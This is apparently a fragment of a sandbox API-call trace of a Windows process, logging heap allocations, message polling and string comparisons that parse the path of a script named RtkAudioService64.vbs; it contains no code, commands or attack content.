RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec410 [0169.362] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0169.363] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec410 | out: hHeap=0xe80000) returned 1 [0169.363] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0169.363] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9a8 [0169.363] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9b8 [0169.363] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7c78 [0169.363] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7c78 | out: hHeap=0xe80000) returned 1 [0169.363] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9b8 | out: hHeap=0xe80000) returned 1 [0169.363] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9a8 | out: hHeap=0xe80000) returned 1 [0169.363] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec590 [0169.363] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0169.364] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec590 | out: hHeap=0xe80000) returned 1 [0169.364] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0169.364] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9b8 [0169.364] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf888 [0169.364] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7d38 [0169.364] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7d38 | out: hHeap=0xe80000) returned 1 [0169.364] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf888 | out: hHeap=0xe80000) returned 1 [0169.364] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9b8 | out: hHeap=0xe80000) returned 1 [0169.364] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec610 [0169.364] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0169.365] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec610 | out: hHeap=0xe80000) returned 1 [0169.365] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0169.365] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9a8 [0169.365] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9b8 [0169.365] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7c78 [0169.365] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7c78 | out: hHeap=0xe80000) returned 1 [0169.365] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9b8 | out: hHeap=0xe80000) returned 1 [0169.365] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9a8 | out: hHeap=0xe80000) returned 1 [0169.365] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeeca90 [0169.365] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0169.365] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeeca90 | out: hHeap=0xe80000) returned 1 [0169.365] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0169.365] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9d8 [0169.365] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9f8 [0169.366] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7c78 [0169.366] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7c78 | out: hHeap=0xe80000) returned 1 [0169.366] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9f8 | out: hHeap=0xe80000) returned 1 [0169.366] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9d8 | out: hHeap=0xe80000) returned 1 [0169.366] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec750 [0169.366] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0169.366] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec750 | out: hHeap=0xe80000) returned 1 [0169.366] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0169.366] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf858 [0169.366] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafa18 [0169.366] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7c78 [0169.366] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7c78 | out: hHeap=0xe80000) returned 1 [0169.366] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa18 | out: hHeap=0xe80000) returned 1 [0169.366] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf858 | out: hHeap=0xe80000) returned 1 [0169.367] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec650 [0169.367] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0169.367] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba688 [0169.367] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077a50 [0169.367] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf918 [0169.367] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077a50 | out: hHeap=0xe80000) returned 1 [0169.367] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba7c8 [0169.367] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077a50 [0169.367] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077b88 [0169.367] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9a8 [0169.367] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077b88 | out: hHeap=0xe80000) returned 1 [0169.367] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077b88 [0169.367] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9d8 [0169.367] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7c78 [0169.367] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20a) returned 0xed5c88 [0169.367] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf858 [0169.367] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077bb8 [0169.367] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077bd0 [0169.367] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf9b8 [0169.368] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed5c88 | out: hHeap=0xe80000) returned 1 [0169.368] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf858 | out: hHeap=0xe80000) returned 1 [0169.368] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf9f8 [0169.368] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x30) returned 0xec23a8 [0169.368] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077bd0 | out: hHeap=0xe80000) returned 1 [0169.368] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9b8 | out: hHeap=0xe80000) returned 1 [0169.368] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077bb8 | out: hHeap=0xe80000) returned 1 [0169.368] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077bb8 [0169.368] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x80) returned 0x1049eb8 [0169.369] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec23a8 | out: hHeap=0xe80000) returned 1 [0169.369] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077bb8 | out: hHeap=0xe80000) returned 1 [0169.369] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba700 [0169.369] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077bb8 [0169.369] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf888 [0169.369] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077bd0 [0169.369] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf888 | out: hHeap=0xe80000) returned 1 [0169.369] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077f60 [0169.369] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf928 [0169.369] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077d08 [0169.369] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf928 | out: hHeap=0xe80000) returned 1 [0169.369] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077df8 [0169.369] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf858 [0169.370] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077e10 [0169.370] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf858 | out: hHeap=0xe80000) returned 1 [0169.370] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077e70 [0169.370] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf858 [0169.370] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x68) returned 0xed4e20 [0169.370] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf928 [0169.370] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077d68 [0169.371] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf9e8 [0169.371] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x68) returned 0xed4330 [0169.371] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf938 [0169.371] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\RDhJ0CNFevzX\\btpanui\\RtkAudioService64.vbs", cchCount1=1, lpString2="\\", cchCount2=1) returned 3 [0169.371] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\RDhJ0CNFevzX\\btpanui\\RtkAudioService64.vbs", cchCount1=1, lpString2="\\", cchCount2=1) returned 1 [0169.371] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\RDhJ0CNFevzX\\btpanui\\RtkAudioService64.vbs", cchCount1=1, lpString2="\\", cchCount2=1) returned 2 [0169.371] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\RDhJ0CNFevzX\\btpanui\\RtkAudioService64.vbs", cchCount1=1, lpString2="\\", cchCount2=1) returned 3 [0169.371] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\RDhJ0CNFevzX\\btpanui\\RtkAudioService64.vbs", cchCount1=1, lpString2="\\", cchCount2=1) returned 3 [0169.371] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\RDhJ0CNFevzX\\btpanui\\RtkAudioService64.vbs", cchCount1=1, lpString2="\\", cchCount2=1) returned 3 [0169.371] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\RDhJ0CNFevzX\\btpanui\\RtkAudioService64.vbs", cchCount1=1, lpString2="\\", cchCount2=1) returned 3 [0169.371] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\RDhJ0CNFevzX\\btpanui\\RtkAudioService64.vbs", cchCount1=1, lpString2="\\", cchCount2=1) returned 3 [0169.371] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\RDhJ0CNFevzX\\btpanui\\RtkAudioService64.vbs", cchCount1=1, lpString2="\\", cchCount2=1) returned 2 [0169.371] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RDhJ0CNFevzX\\btpanui\\RtkAudioService64.vbs", cchCount1=1, lpString2="\\", cchCount2=1) returned 3 [0169.371] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DhJ0CNFevzX\\btpanui\\RtkAudioService64.vbs", cchCount1=1, lpString2="\\", cchCount2=1) returned 3 [0169.371] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="hJ0CNFevzX\\btpanui\\RtkAudioService64.vbs", cchCount1=1, lpString2="\\", cchCount2=1) returned 3 [0169.371] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="J0CNFevzX\\btpanui\\RtkAudioService64.vbs", cchCount1=1, lpString2="\\", cchCount2=1) returned 3 [0169.371] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="0CNFevzX\\btpanui\\RtkAudioService64.vbs", cchCount1=1, lpString2="\\", cchCount2=1) returned 3 [0169.371] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CNFevzX\\btpanui\\RtkAudioService64.vbs", cchCount1=1, lpString2="\\", cchCount2=1) returned 3 [0169.371] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NFevzX\\btpanui\\RtkAudioService64.vbs", cchCount1=1, lpString2="\\", cchCount2=1) returned 3 [0169.371] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="FevzX\\btpanui\\RtkAudioService64.vbs", cchCount1=1, lpString2="\\", cchCount2=1) returned 3 [0169.371] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="evzX\\btpanui\\RtkAudioService64.vbs", cchCount1=1, lpString2="\\", cchCount2=1) returned 3 [0169.371] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="vzX\\btpanui\\RtkAudioService64.vbs", cchCount1=1, lpString2="\\", cchCount2=1) returned 3 [0169.372] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="zX\\btpanui\\RtkAudioService64.vbs", cchCount1=1, lpString2="\\", cchCount2=1) returned 3 [0169.372] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="X\\btpanui\\RtkAudioService64.vbs", cchCount1=1, lpString2="\\", cchCount2=1) returned 3 [0169.372] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\btpanui\\RtkAudioService64.vbs", cchCount1=1, lpString2="\\", cchCount2=1) returned 2 [0169.372] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077d68 | out: hHeap=0xe80000) returned 1 [0169.372] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba458 [0169.372] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="btpanui\\RtkAudioService64.vbs", cchCount1=1, lpString2="\\", cchCount2=1) returned 3 [0169.372] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tpanui\\RtkAudioService64.vbs", cchCount1=1, lpString2="\\", cchCount2=1) returned 3 [0169.372] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="panui\\RtkAudioService64.vbs", cchCount1=1, lpString2="\\", cchCount2=1) returned 3 [0169.372] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="anui\\RtkAudioService64.vbs", cchCount1=1, lpString2="\\", cchCount2=1) returned 3 [0169.372] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nui\\RtkAudioService64.vbs", cchCount1=1, lpString2="\\", cchCount2=1) returned 3 [0169.372] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ui\\RtkAudioService64.vbs", cchCount1=1, lpString2="\\", cchCount2=1) returned 3 [0169.372] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="i\\RtkAudioService64.vbs", cchCount1=1, lpString2="\\", cchCount2=1) returned 3 [0169.372] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\RtkAudioService64.vbs", cchCount1=1, lpString2="\\", cchCount2=1) returned 2 [0169.372] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RtkAudioService64.vbs", cchCount1=1, lpString2="\\", cchCount2=1) returned 3 [0169.372] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tkAudioService64.vbs", cchCount1=1, lpString2="\\", cchCount2=1) returned 3 [0169.372] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="kAudioService64.vbs", cchCount1=1, lpString2="\\", cchCount2=1) returned 3 [0169.372] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="AudioService64.vbs", cchCount1=1, lpString2="\\", cchCount2=1) returned 3 [0169.372] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="udioService64.vbs", cchCount1=1, lpString2="\\", cchCount2=1) returned 3 [0169.372] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="dioService64.vbs", cchCount1=1, lpString2="\\", cchCount2=1) returned 3 [0169.372] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ioService64.vbs", cchCount1=1, lpString2="\\", cchCount2=1) returned 3 [0169.372] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="oService64.vbs", cchCount1=1, lpString2="\\", cchCount2=1) returned 3 [0169.372] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Service64.vbs", cchCount1=1, lpString2="\\", cchCount2=1) returned 3 [0169.372] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ervice64.vbs", cchCount1=1, lpString2="\\", cchCount2=1) returned 3 [0169.372] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rvice64.vbs", cchCount1=1, lpString2="\\", cchCount2=1) returned 3 [0169.372] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="vice64.vbs", cchCount1=1, lpString2="\\", cchCount2=1) returned 3 [0169.373] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ice64.vbs", cchCount1=1, lpString2="\\", cchCount2=1) returned 3 [0169.373] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ce64.vbs", cchCount1=1, lpString2="\\", cchCount2=1) returned 3 [0169.373] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="e64.vbs", cchCount1=1, lpString2="\\", cchCount2=1) returned 3 [0169.373] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="64.vbs", cchCount1=1, lpString2="\\", cchCount2=1) returned 3 [0169.373] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="4.vbs", cchCount1=1, lpString2="\\", cchCount2=1) returned 3 [0169.373] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".vbs", cchCount1=1, lpString2="\\", cchCount2=1) returned 1 [0169.373] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="vbs", cchCount1=1, lpString2="\\", cchCount2=1) returned 3 [0169.373] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="bs", cchCount1=1, lpString2="\\", cchCount2=1) returned 3 [0169.373] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s", cchCount1=1, lpString2="\\", cchCount2=1) returned 3 [0169.373] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba458 | out: hHeap=0xe80000) returned 1 [0169.373] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x30) returned 0xec22c8 [0169.374] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed4330 | out: hHeap=0xe80000) returned 1 [0169.374] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf938 | out: hHeap=0xe80000) returned 1 [0169.374] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec22c8 | out: hHeap=0xe80000) returned 1 [0169.374] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9e8 | out: hHeap=0xe80000) returned 1 [0169.374] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077cf0 [0169.375] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077e70 | out: hHeap=0xe80000) returned 1 [0169.375] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf858 | out: hHeap=0xe80000) returned 1 [0169.375] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077bd0 | out: hHeap=0xe80000) returned 1 [0169.375] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077bb8 | out: hHeap=0xe80000) returned 1 [0169.375] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077d08 | out: hHeap=0xe80000) returned 1 [0169.375] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077f60 | out: hHeap=0xe80000) returned 1 [0169.375] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077e10 | out: hHeap=0xe80000) returned 1 [0169.375] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077df8 | out: hHeap=0xe80000) returned 1 [0169.375] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba700 | out: hHeap=0xe80000) returned 1 [0169.375] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x150) returned 0xed5c88 [0169.376] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1049eb8 | out: hHeap=0xe80000) returned 1 [0169.376] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed4e20 | out: hHeap=0xe80000) returned 1 [0169.376] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf928 | out: hHeap=0xe80000) returned 1 [0169.376] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077cf0 | out: hHeap=0xe80000) returned 1 [0169.376] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7c78 | out: hHeap=0xe80000) returned 1 [0169.376] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9d8 | out: hHeap=0xe80000) returned 1 [0169.376] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9a8 | out: hHeap=0xe80000) returned 1 [0169.376] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0169.376] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf928 [0169.376] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf928 | out: hHeap=0xe80000) returned 1 [0169.376] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0169.376] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba4d0 [0169.376] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077cc0 [0169.376] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf888 [0169.377] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077cc0 | out: hHeap=0xe80000) returned 1 [0169.377] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x30) returned 0xec26b8 [0169.377] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077f18 [0169.377] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077e28 [0169.377] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafa08 [0169.377] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077e28 | out: hHeap=0xe80000) returned 1 [0169.377] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf858 [0169.377] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7c78 [0169.377] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9a8 [0169.377] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7cb8 [0169.377] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9a8 | out: hHeap=0xe80000) returned 1 [0169.377] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7cb8 | out: hHeap=0xe80000) returned 1 [0169.377] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9a8 [0169.377] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7cb8 [0169.377] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9a8 | out: hHeap=0xe80000) returned 1 [0169.377] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7cb8 | out: hHeap=0xe80000) returned 1 [0169.377] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7c78 | out: hHeap=0xe80000) returned 1 [0169.377] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf858 | out: hHeap=0xe80000) returned 1 [0169.377] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa08 | out: hHeap=0xe80000) returned 1 [0169.377] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0169.378] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec650 | out: hHeap=0xe80000) returned 1 [0169.378] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0169.378] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9c8 [0169.378] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf938 [0169.378] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7c78 [0169.378] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7c78 | out: hHeap=0xe80000) returned 1 [0169.378] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf938 | out: hHeap=0xe80000) returned 1 [0169.378] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9c8 | out: hHeap=0xe80000) returned 1 [0169.378] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec7d0 [0169.378] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 